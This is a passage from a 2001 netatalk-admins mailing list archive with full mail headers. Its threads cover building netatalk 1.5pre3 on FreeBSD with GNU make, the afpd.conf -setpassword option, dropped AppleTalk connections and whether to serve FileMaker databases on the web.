On 1/3/01 9:37 pm, "Christoph Sold" wrote:

> Did you use gmake? Remember, BSD make is pretty different from GNU make.
> 
> HTH
> -Christoph Sold
> 
> Jason Quigley schrieb:
>> 
>> Hi!
>> 
>> Does anybody have any tips on building 1.5pre* under FreeBSD 4.2?
>> 
>> I have these packages installed:
>> 
>> autoconf-2.13
>> automake-1.4
>> gettext-0.10.35
>> gmake-3.79.1
>> libtool-1.3.4_2
>> m4-1.4
>> makedepend-2000.12.28
>> 
>> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
>> 
>> When I run make, I get the following error:
>> 
>> [vulcan:~/netatalk] jason# make
>> make  all-recursive
>> Making all in libatalk
>> Making all in adouble
>> "Makefile", line 231: Need an operator
>> make: fatal errors encountered -- cannot continue
>> *** Error code 1
>> 
>> Stop in /root/netatalk/libatalk.
>> *** Error code 1
>> 
>> Stop in /root/netatalk.
>> *** Error code 1
>> 
>> Stop in /root/netatalk.
>> [vulcan:~/netatalk] jason#
>> 
>> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
>> 
>> Line 231 reads:
>> 
>> -include $(DEP_FILES)
>> 
>> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
>> 
>> This somehow doesn't seem right. Am I missing other prerequisites? Maybe
>> gawk instead of awk? I can't think of anything else related to Makefile
>> munging.
>> 
>> Thanks,
>> Jason.


From netatalk.administrators-errors@umich.edu  Thu Mar  1 19:08:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA23613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 19:08:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 19:07:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA28911
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 19:07:55 -0500 (EST)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA28876
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 19:07:54 -0500 (EST)
Received: from unix1 (unix1.wm.edu [128.239.10.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id TAA12617;
	Thu, 1 Mar 2001 19:07:58 -0500 (EST)
Date: Thu, 1 Mar 2001 19:26:51 -0500 (EST)
From: Rob Lineweaver <rbline@wm.edu>
To: Heath Henderson <heath@dave-world.net>
cc: netatalk-admins@umich.edu
Subject: Re: Password Change ?
In-Reply-To: <NDBBLIPGCLLELIOOICKOOEDODKAA.heath@dave-world.net>
Message-ID: <Pine.GSO.4.10.10102272148350.27420-100000@unix1.wm.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> 
> I want to be able to allow users to change their passwords?  How do I enable
> this feature.  Every time I try I get an error that it was unable to save
> the password.
> 

Heath,

from the afpd.conf manpage:
       -[no]setpassword
              Enables or  disables  the  ability  of  clients  to
              change their passwords

so you probably just want to add -setpassword to /etc/atalk/afpd.conf.

hope this fixes it,

Rob Lineweaver




From netatalk.administrators-errors@umich.edu  Thu Mar  1 19:49:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA24641
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 19:49:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 19:49:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA29851
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 19:49:11 -0500 (EST)
Received: from sh.stonehenge-net.com (dsl081-053-198-sfo1.dsl-isp.net [64.81.53.198])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29814
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 19:49:09 -0500 (EST)
Received: from stonehenge-net.com ([162.70.219.138])
	by sh.stonehenge-net.com (8.9.3/8.8.7) with ESMTP id QAA01578
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 16:49:13 -0500
Message-ID: <3A9EEDF7.8070507@stonehenge-net.com>
Date: Thu, 01 Mar 2001 16:48:55 -0800
From: ben <ben@stonehenge-net.com>
User-Agent: Mozilla/5.0 (Windows; U; WinNT4.0; en-US; 0.8) Gecko/20010215
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: password problems on FreeBSD 4.2-stable
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

  sorry to bug you with a question you've answered before, but i've 
perused the list archives and the faq-o-matic, and i see that others 
have had this problem before me, but i can't locate any answers to it:

guests can log in with no problems, but any users with passwords are 
rejected.

i'm guessing that my install pointed to the wrong crypto libs, and that 
the resulting passwords are therefore coming out wrong, but then i'm 
pretty new at this :)

thanks,

Ben


From netatalk.administrators-errors@umich.edu  Fri Mar  2 05:03:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA05914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 05:03:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA14700
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 05:03:59 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA14678
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 05:03:58 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA14621
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 05:03:56 -0500 (EST)
Received: from janus.tangro.de (janus.tangro.de [193.155.17.163])
	by jump.tangro.de (8.9.3/8.9.3) with ESMTP id LAA19909;
	Fri, 2 Mar 2001 11:03:47 +0100 (CET)
Message-Id: <4.3.2.7.2.20010302095341.00b7fb20@mail.tangro.de>
X-Sender: hf@mail.tangro.de (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 02 Mar 2001 10:03:50 +0100
To: Jason Quigley <jasonq@mac.com>
From: Hauke Fath <hf@Tangro.DE>
Subject: Re: FreeBSD - Building 1.5pre3...
Cc: <so@server.i-clue.de>, Sebastian Rittau <srittau@jroger.in-berlin.de>,
        <netatalk-admins@umich.edu>
In-Reply-To: <B6C48446.41A6%jasonq@mac.com>
References: <3A9EB326.7694B792@i-clue.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 22:57 01.03.01 +0100, Jason Quigley wrote:

>Looks like I was a silly boy. I should have been using 'gmake' instead of
>'make'. Why it didn't register I don't know! The expression "Can't see the
>wood for the trees" springs to mind.

No. Looks like those who did the transition to autoconf are the silly boys 
- because they built in needless dependencies on GNU make.

The majority of configure scripts out there does _not_ depend on GNU make 
but instead works with a reasonable subset of make commands that is 
supported by a wide variety of make tools out there.

Whoever is responsible for this gratuitous change: Please remove any gmake 
dependencies. Netatalk has long been a cross-platform application that 
could be built without having half a GNU-Linux distribution around. Let's 
keep it that way.

My 0.02 EUR,

         hauke

--
Hauke Fath                        Tangro Software Components GmbH
                                         D-69115 Heidelberg
hf@Tangro.DE                       Ruf +49-6221-13336-0, Fax -21


From netatalk.administrators-errors@umich.edu  Fri Mar  2 07:53:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA08233
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 07:53:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA03543
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 07:53:06 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA03528
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 07:53:05 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA03511
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 07:53:04 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id A6B668AB0126; Fri, 02 Mar 2001 06:48:54 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Cc: <netatalk-admins@umich.edu>, <LINUX-ATALK@NETSPACE.ORG>
Subject: Filemaker on the Web
Date: Fri, 2 Mar 2001 06:56:55 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOMEFDDKAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To:  <p05100104b6c53f87b5b7@[213.122.225.184]>
Importance: Normal

Does anyone have any experience posting Filemaker Databases to the Web.  We
have many good Dept. Databases that we would like to push out to the web,
but I am not experienced in coding any of this.  I am going to learn it
however, but I need some examples to work off of.

Thanks for any help

Heath Henderson


From netatalk.administrators-errors@umich.edu  Fri Mar  2 09:26:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA09800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 09:26:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10607
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 09:26:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10591
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 09:26:31 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA10557
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 09:26:29 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA14809
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 15:23:24 +0100
Message-ID: <3A9FACDA.2635F277@euc.de>
Date: Fri, 02 Mar 2001 15:23:23 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: losing connection to server
References: <3A9E6AFF.D4E84F3E@euc.de> <3A9EB829.6DEF15BC@arts.usyd.edu.au>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msC07EE1946AADCF149F03DCE5"

This is a cryptographically signed message in MIME format.

--------------msC07EE1946AADCF149F03DCE5
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Thanks for the anser

The client i've used started first with a Appletalk-Connection to a
Novell-Server. When I then connected to the Linux-Box via TCP the
connection dropped.. After changing the order of mounting (first to the
Linux Box, afterwards to the AplleTalk-Connectio everytings seems fine.

Strange land ...


Matthew Geier wrote:
> =

> Mac Conin wrote:
> >
> > hi there,
> >
> > as a newbie to netatalk here's a (I guess) mostly often discussed que=
stion...
> >
> > when loggin on to the linux server (suse 7.x, netatalk 1.5.x)
> > the server cuts up the connection afer a period of time.
> >
> > Is there a switch to keep the connections alive when they go idle?
> =

>  An ASIP capable client that connects via AppleTalk instead of IP will
> do this. Been discussed before, but no one has offered a solution.
>  I.E, on my installation if a MacOS 8.1 or later machine connects via
> AppleTalk they will get booted off in about 5 minutes. Via TCP/IP it
> works fine.
>  I found some 8.6 machines connecting via AppleTalk instead of IP when
> they were set to 'connect at startup'. We also run 'keyserver' which ha=
s
> both AppleTalk and IP communications. When its set to IP, it forces the=

> IP stack to load before the AppleShare prep is read, thus IP is
> available when the shares are mounted.
>  The disconnection problem is still there, but the users don't notice
> any more. (And get a faster fileshare connection in the deal..)

-- =

--schnipp-- =


mit freundlichen gr=FCssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Gesch=E4ftsf=FChrer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB K=F6ln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK K=F6ln,
der Abfallwirtschaftsbetriebe K=F6ln (AWB) und dem
Gr=FCnfl=E4chenamt der Stadt K=F6ln. http://www.clean-up-cologne.de
--------------msC07EE1946AADCF149F03DCE5
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIHpwYJKoZIhvcNAQcCoIIHmDCCB5QCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BaUwggJ0MIIB3aADAgECAgMEM3owDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTAyMTYxNDA3MjBaFw0wMjAyMTYxNDA3MjBa
MD8xHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxHDAaBgkqhkiG9w0BCQEWDW1j
b25pbkBldWMuZGUwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSokrnQK6Vp2OX/lcsG
pK9mjUIb5CQ7ocxnsAddFR+/cgvONeZNM3sTrX72v2Sm4T0HBQ/LkREpTe3wewxXIu2+9RJn
p+zJFRnJUOyZOyzFT1XlceWtHAnYYBb+ilBF8xhKu1VthzP/C6OqLU+hXR9piC1aras1+hHY
t213yfgFAgMBAAGjKjAoMBgGA1UdEQQRMA+BDW1jb25pbkBldWMuZGUwDAYDVR0TAQH/BAIw
ADANBgkqhkiG9w0BAQQFAAOBgQAshlRM0Qc+bG/Y41ojDJe6K7WS+dNc6Jq1TgG73tV32B3o
URJL1nANHfBdGsRtQvUdDLN3w/hCTjFN9/ftMA9dz0KMAJHR4i8YJOnB0En8GzfBakr6bNrN
C722iWyZ7v4eDgQMq5Xmgd4SnCN7j96GcdgepzdQEO/72w5jkkFiRjCCAykwggKSoAMCAQIC
AQwwDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENh
cGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAm
BgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0
ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1h
aWxAdGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wMjA4MjkyMzU5NTlaMIGSMQswCQYD
VQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzAN
BgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMT
H1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0
caCjbZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBR
h4M88Dm0m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRow
GAYDVQQDExFQcml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQE
AwIBBjANBgkqhkiG9w0BAQQFAAOBgQBzG28mZYv/FTRLWWKK7US+ScfoDbuPuQ1qJipihB+4
h2N0HG23zxpTkUvhzeY42e1Q9DpsNJKs5pKcbsEjAcIJp+9LrnLdBmf1UG8uWLi2C8FQV7Xs
HNfvF7bViJu3ooga7TlbOX00/LaWGCVNavSdxcORL6mWuAU8Uvzd6WIDSDGCAcowggHGAgEB
MIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
YXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2Vydmlj
ZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwQzejAJBgUr
DgMCGgUAoIGGMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAx
MDMwMjE0MjMyM1owIwYJKoZIhvcNAQkEMRYEFGe+1mnBuMfdA36Wiv8M7tCipidNMCcGCSqG
SIb3DQEJDzEaMBgwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYBY
WHYAJPW0PFhmHdamr8w7Puomwu3SyaPKm6liW0kODTyQpAKZrtcfm+DJgNXxULy3B0jhyoFU
UGyQ8hx1UVSYJ2ZrZLWpbf3qObelpZAdM56AOCSNW8JhljumacyUcFii80lYIw7YGN35Kqwt
z+dO6mZ0GdY86GAfX4wTfBtLlQ==
--------------msC07EE1946AADCF149F03DCE5--


From netatalk.administrators-errors@umich.edu  Fri Mar  2 09:43:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10162
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 09:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA26575
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 09:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA26534
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 09:43:26 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA26500
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 09:43:25 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id JAA15754;
	Fri, 2 Mar 2001 09:43:05 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A9FB0E3.D40A4F07@univrel.pr.uconn.edu>
Date: Fri, 02 Mar 2001 09:40:35 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Hauke Fath <hf@Tangro.DE>
CC: Jason Quigley <jasonq@mac.com>, so@server.i-clue.de,
        Sebastian Rittau <srittau@jroger.in-berlin.de>,
        netatalk-admins@umich.edu
Subject: Re: FreeBSD - Building 1.5pre3...
References: <3A9EB326.7694B792@i-clue.de> <4.3.2.7.2.20010302095341.00b7fb20@mail.tangro.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hauke Fath wrote:
> 
> At 22:57 01.03.01 +0100, Jason Quigley wrote:
> 
> >Looks like I was a silly boy. I should have been using 'gmake' instead of
> >'make'. Why it didn't register I don't know! The expression "Can't see the
> >wood for the trees" springs to mind.
> 
> No. Looks like those who did the transition to autoconf are the silly boys
> - because they built in needless dependencies on GNU make.
> 
> The majority of configure scripts out there does _not_ depend on GNU make
> but instead works with a reasonable subset of make commands that is
> supported by a wide variety of make tools out there.
> 
> Whoever is responsible for this gratuitous change: Please remove any gmake
> dependencies. Netatalk has long been a cross-platform application that
> could be built without having half a GNU-Linux distribution around. Let's
> keep it that way.

It was a tradeoff. We don't have to worry about maintaining the Makefile
system to pass huge numbers of parameters from one place to another, or
editing Makefiles to add shadow password support, or anything. In
exchange for that, you need a few GNU utilities.

The best cross-platform source code packages I have seen so far use GNU
autoconf (like samba, if I'm not mistaken). The old makefile system also
generated more netatalk-admin questions about its use than almost
anything else in the 1.4b2+asunx.x.x series.

I don't think the transition to GNU autoconf was silly. It was a way to
make things a little bit more cross-platform and easier to maintain.
Tru64 support was added recently with little or no trouble, as an
example of this.

If we need to keep the symbolic links, etc, out of the distribution,
I'll make sure that there aren't any there when I tar it up for
distribution the next time.

jeff

From netatalk.administrators-errors@umich.edu  Fri Mar  2 09:46:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10245
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 09:46:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA03167
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 09:46:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA03135
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 09:46:38 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA03085
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 09:46:37 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Fri, 2 Mar 2001 14:46:51 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 02 Mar 2001 14:46:08 +0000
Subject: Re: Filemaker on the Web
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Heath Henderson <heath@dave-world.net>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6C562B0.4803%basil.hussain@specialreserve.net>
In-Reply-To: <NDBBLIPGCLLELIOOICKOMEFDDKAA.heath@dave-world.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> Does anyone have any experience posting Filemaker Databases to the Web.  We
> have many good Dept. Databases that we would like to push out to the web,
> but I am not experienced in coding any of this.  I am going to learn it
> however, but I need some examples to work off of.

I have just one word of advice - don't. It may be fine to start with using
the Filemaker Web Companion or something like Lasso and WebStar, if your
usage is going to be light. But, if you're going to be getting any more than
light usage, then I would advise against either of these options - and
against Filemaker altogether even.

The company I work at used to be a solely Mac environment, so our web site
started out working completely with Lasso and WebStar. Needless to say, we
had to restart the web serving Mac virtually every day, as crashes were a
frequent occurance. Even later on, as things got more popular, with 5 Macs
serving web pages and one Filemaker Server, things didn't improve. We've
since switched to PC servers with Linux, Apache, PHP, MySQL and of course,
Netatalk. Our uptime is now measured in months, not hours...

But, you probably don't want to hear this. So, if you're a novice and only
need a really basic solution for a few people here-and-there to access
occasionally via the Web then I'd go for the bundled Filemaker Web
Companion. I've never used it myself, but I gather it's pretty simple stuff.

But, if you're planning on beginning the makings of an e-commerce presence
for your company, then steer well clear of Filemaker.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Fri Mar  2 10:16:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10947
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 2 Mar 2001 10:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05900
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 2 Mar 2001 10:16:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA05884
	for netatalk.administrators-members@umich.edu; Fri, 2 Mar 2001 10:16:28 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA05854
	for <netatalk-admins@umich.edu>; Fri, 2 Mar 2001 10:16:27 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f22FGTD17388;
	Fri, 2 Mar 2001 09:16:29 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 02 Mar 2001 09:15:41 -0600
Subject: Re: Filemaker on the Web
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>, <AMP@dynapolis.com>
Message-ID: <B6C5153D.12067%bucky@interaccess.com>
In-Reply-To: <B6C562B0.4803%basil.hussain@specialreserve.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

FileMaker can, however, be used as your master database, and can function as
a web-hosted admin database, very well. It can exchange data with MySQL or
PostgreSQL. These two are _much_ better for web applications.

comp.databases.filemaker has some fairly good discussions on occasion. And
members of the Apache/MySQL/PHP list (AMP@dynapolis.com) seem to be
interested in this topic to a certain degree.

-B...

> From: Basil Hussain <basil.hussain@specialreserve.net>
> Organization: Inter-Mediates Ltd.
> Date: Fri, 02 Mar 2001 14:46:08 +0000
> To: Heath Henderson <heath@dave-world.net>
> Cc: <netatalk-admins@umich.edu>
> Subject: Re: Filemaker on the Web
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 2 Mar 2001 09:53:23 -0500 (EST)
> 
> Hi,
> 
>> Does anyone have any experience posting Filemaker Databases to the Web.  We
>> have many good Dept. Databases that we would like to push out to the web,
>> but I am not experienced in coding any of this.  I am going to learn it
>> however, but I need some examples to work off of.
> 
> I have just one word of advice - don't. It may be fine to start with using
> the Filemaker Web Companion or something like Lasso and WebStar, if your
> usage is going to be light. But, if you're going to be getting any more than
> light usage, then I would advise against either of these options - and
> against Filemaker altogether even.
> 
> The company I work at used to be a solely Mac environment, so our web site
> started out working completely with Lasso and WebStar. Needless to say, we
> had to restart the web serving Mac virtually every day, as crashes were a
> frequent occurance. Even later on, as things got more popular, with 5 Macs
> serving web pages and one Filemaker Server, things didn't improve. We've
> since switched to PC servers with Linux, Apache, PHP, MySQL and of course,
> Netatalk. Our uptime is now measured in months, not hours...
> 
> But, you probably don't want to hear this. So, if you're a novice and only
> need a really basic solution for a few people here-and-there to access
> occasionally via the Web then I'd go for the bundled Filemaker Web
> Companion. I've never used it myself, but I gather it's pretty simple stuff.
> 
> But, if you're planning on beginning the makings of an e-commerce presence
